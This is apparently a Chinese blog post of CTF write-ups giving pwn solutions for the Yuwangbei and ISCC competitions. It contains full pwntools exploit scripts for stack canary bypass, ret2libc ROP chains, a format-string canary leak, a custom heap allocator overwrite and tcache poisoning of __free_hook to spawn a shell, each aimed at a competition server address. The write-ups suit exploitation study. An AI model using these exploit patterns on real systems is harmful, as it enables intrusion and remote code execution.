打完御网杯和ISCC,发现网络上并没有PWN的解,于是就简单写一下,御网杯和ISCC的所有pwn解
御网杯 pwn canary 通过覆盖canary后再次生成canary
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import *context.log_level = "debug" io = remote("47.105.113.86" ,30001 ) elfs = ELF("./Canary" ) magic = 0x401579 ret = 0x000000000040101a def input_magic (payload ): io.recvuntil("your choice" ) io.sendline(b"1" ) io.recvuntil("code:" ) io.sendline(payload) def set_canary (): io.recvuntil("your choice" ) io.sendline(b"2" ) io.recvuntil("But now, I have a new Secret." ) def exit (): io.recvuntil("your choice" ) io.sendline(b"3" ) payload = b"a" *(0x70 -4 )+p32(0 ) + p64(0 )+p64(ret) +p64(magic) pause() input_magic(payload) set_canary() io.interactive()
pwn ez_pwn 禁用stdout,转流到stderr,执行命令时运行同理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import *context.log_level = "debug" io = remote("47.105.113.86" ,30003 ) elfs = ELF("./ez_pwn" ) libc = ELF("./libc-2.31.so" ) write_plt = elfs.plt['write' ] write_got = elfs.got['write' ] rdi_ret = 0x00000000004012c3 rsi_ret_pop = 0x00000000004012c1 test1 =p64(elfs.symbols['init' ]) + p64(elfs.sym['main' ]) offset = b"b" *(32 + 8 ) payload = offset + p64(rdi_ret)+p64(2 )+p64(rsi_ret_pop)+p64(write_got)+p64(0 )+p64(write_plt)+p64(elfs.sym['main' ]) io.recv() io.sendline(payload) write_real = u64(io.recv(8 )) print (hex (write_real))base_addr = write_real - libc.sym['write' ] shell = base_addr + libc.sym['system' ] bin_sh = base_addr + next (libc.search(b'/bin/sh' )) payload = offset +p64(rdi_ret)+p64(bin_sh) +p64(shell) pause() io.sendline(payload) io.interactive()
special malloc 主函数逻辑(以下代码经过我分析处理)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 void __fastcall __noreturn main (__int64 a1, char **a2, char **a3) { const char *v3; const char *v4; const char *v5; const char *v6; const char *v7; char input[24 ]; unsigned __int64 v9; v9 = __readfsqword(0x28 u); init_0(a1, a2, a3); while ( 1 ) { while ( 1 ) { scanf ("%15s" , input); getchar(); v3 = (const char *)str2base64(input); if ( strcmp ("YWRk" , v3) ) break ; add(); } v4 = (const char *)str2base64(input); if ( !strcmp ("ZGVsZXRl" , v4) ) { del(); } else { v5 = (const char *)str2base64(input); if ( !strcmp ("c2hvd2l0" , v5) ) { showit(); } else { v6 = (const char *)str2base64(input); if ( !strcmp ("ZWRpdGl0" , v6) ) { editit(); } else { v7 = (const char *)str2base64(input); if ( !strcmp ("Y2F0X2ZsYWdz" , v7) && dword_6020F0 == 305419896 ) cat_flags(); else puts ("no" ); } } } } }
可以看出是一个通过base64来进行目录操控的程序,结合内容和名称可以分析出他是自己实现了一个堆生成器
new 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 __int64 __fastcall sub_400A9D (int a1) { unsigned int delta[3 ]; _DWORD *v3; if ( !flag ) init2(); delta[2 ] = 0 ; v3 = (_DWORD *)sbrk_now; *(_QWORD *)delta = (unsigned int )(a1 + 12 ); while ( v3 != (_DWORD *)sbrk_offset ) { if ( *v3 && v3[1 ] >= (int )delta[0 ] ) { *v3 = 0 ; *(_QWORD *)&delta[1 ] = v3; if ( v3[2 ] ) return (int )v3[2 ]; v3[2 ] = (_DWORD)v3; break ; } v3 = (_DWORD *)((char *)v3 + (int )v3[1 ]); } if ( !*(_QWORD *)&delta[1 ] ) { sbrk(delta[0 ]); *(_QWORD *)&delta[1 ] = sbrk_offset; sbrk_offset += (int )delta[0 ]; *(_DWORD *)(*(_QWORD *)&delta[1 ] + 4LL ) = delta[0 ]; **(_DWORD **)&delta[1 ] = 0 ; } return *(_QWORD *)&delta[1 ] + 12LL ; }
根据申请可以分析出堆块结构
editit漏洞利用点 1 2 3 4 5 6 7 8 9 10 11 12 13 unsigned __int64 editit() { int v1; // [rsp+Ch] [rbp-14h] char buf[8]; // [rsp+10h] [rbp-10h] BYREF unsigned __int64 v3; // [rsp+18h] [rbp-8h] v3 = __readfsqword(0x28u); read(0, buf, 4uLL); v1 = atoi(buf); if ( *(&::buf + v1) ) read(0, *(&::buf + v1), 0x80uLL); return __readfsqword(0x28u) ^ v3; }
可以越界写
攻击思路 首先申请3个堆块,并释放第二个,此时堆块状态为
然后如果正常情况下new会先将蓝色的0变为len处地址,然后向下开开辟新堆块4,第二次new才会重利用蓝色堆块。但我们可以通过直接写绿色堆块进行覆盖到蓝色,然后将magic地址写入蓝色
此时当执行到
1 2 if ( v3[2] ) //有重利用地址时返回重利用地址 return (int)v3[2];
时,就会认为这个是可以进行重利用,并将magic地址作为堆块返回,那么下一次修改的位置就为magic
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from pwn import * io = process("./malloc_special") context.log_level = "debug" def new_buf(): io.sendline(b"add") def free_buf(index): io.sendline(b"delete") io.sendline(str(index)) def print_buf(index): io.sendline(b"showit") io.sendline(str(index)) def write_buf(index,context): io.sendline(b"editit") io.sendline(str(index)) io.send(context) def backdoor(): io.sendline(b"cat_flags") payload = b"a"*28+p64(0x0000002c00000001)+p32(0x06020F0)+p32(0x06020F0) magic_num = p32(305419896) new_buf() new_buf() new_buf() free_buf(1) write_buf(0,payload) new_buf() write_buf(2,magic_num) backdoor() io.interactive()
ISCC 格式化字符串偏移泄露canary,然后就是64位rop链构造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from code import interact from pwn import * libc = ELF("./pwn") context.log_level= "debug" io = remote("101.200.155.151",12400) io.recv() io.sendline(b"AAAA%23$X") io.recv() p = io.recv() canary = int(p[4:12],16) io.send(b"a"*64+p32(canary)+b"a"*12+p32(libc.plt['puts'])+p32(libc.symbols['main'])+p32(libc.got['puts'])) puts_real = io.recvuntil('\xf7') puts_real = u32(puts_real) base_addr = puts_real - 0x072880 system_real = base_addr + 0x047cd0 sh_real = base_addr + 0x1b90d5 io.recv() io.sendline(b"AAAA%23$X") io.recv() p = io.recv() canary = int(p[4:12],16) io.send(b"a"*64+p32(canary)+b"a"*12+p32(system_real)+p32(libc.symbols['main'])+p32(sh_real)) io.interactive()
本体思路是先通过最开始的UAF进行修改magic为255,来泄露carnary然后进行栈溢出执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from pwn import * context.log_level = "debug" io = remote("101.200.155.151",12200) pop_rdi = 0x00000000004014c3 # pop rdi ; ret ret = 0x40101a libc = ELF("./pwn") #io = process("./pwn") io.recvuntil('size:\n') io.sendline(b"100") io.recvuntil(b"flag:\n") io.sendline(b"flag") io.recvline(b"welcome to ISCC") io.send(b"a"*24+b"b") io.recvuntil(b"b") carnary = u64(io.recv(7).rjust(8,b"\x00")) io.recvuntil(b"meet you") print(carnary) io.sendline(b"a"*24+p64(carnary)+b"v"*8+p64(pop_rdi)+p64(libc.got['puts'])+p64(libc.plt['puts'])+p64(libc.symbols['main'])) io.recvuntil(b"too!\n") puts_real = u64(io.recvuntil(b"\x7f").ljust(8,b"\x00")) print(hex(puts_real)) base_addr = puts_real - 0x084420 system_real = base_addr + 0x052290 sh_real = base_addr + 0x1b45bd io.recvline(b"welcome to ISCC") io.send(b"a"*24+b"b") io.recvuntil(b"b") carnary = u64(io.recv(7).rjust(8,b"\x00")) io.recvuntil(b"meet you") print(carnary) pause() io.sendline(b"a"*24+p64(carnary)+b"v"*8+p64(pop_rdi)+p64(sh_real)+p64(ret)+p64(system_real)+p64(libc.symbols['main'])) io.interactive()
堆溢出+uaf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from pwn import * from LibcSearcher import * context.log_level = 'debug' io = remote('101.200.155.151', 12700) #io=process('./attachment-13') elf = ELF('./attachment-13') libc=ELF('./attachment-13.6') #2.27 def create(idx,size): io.sendlineafter(b"your choice:\n", b"1") io.sendlineafter(b"coordinate:\n", str(idx)) io.sendlineafter(b"required:\n", str(size)) def show(idx): io.sendlineafter(b"your choice:\n", b"4") io.sendlineafter(b'cosmic truth:\n',str(idx)) def free(idx): io.sendlineafter(b"your choice:\n", b"2") io.sendlineafter(b'cleanse:\n',str(idx)) def edit(idx,size,content): io.sendlineafter(b"your choice:\n", b"3") io.sendlineafter(b'inscription:\n',str(idx)) io.sendlineafter(b"length:\n", str(size)) io.sendafter(b"truth:\n", content) create(0,0x410) create(1,0x20) create(2,0x20) create(3,0x20) create(4,0x20) free(0) show(0) leak_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) libc_base = leak_addr - 0x3ebca0 free_hook = libc_base + libc.sym['__free_hook'] system = libc_base + libc.sym['system'] free(2) free(3) edit(3,0x8,p64(free_hook)) create(2,0x20) create(3,0x20) edit(3,0x8,p64(system)) edit(4,0x8,b'/bin/sh\x00') free(4) io.interactive()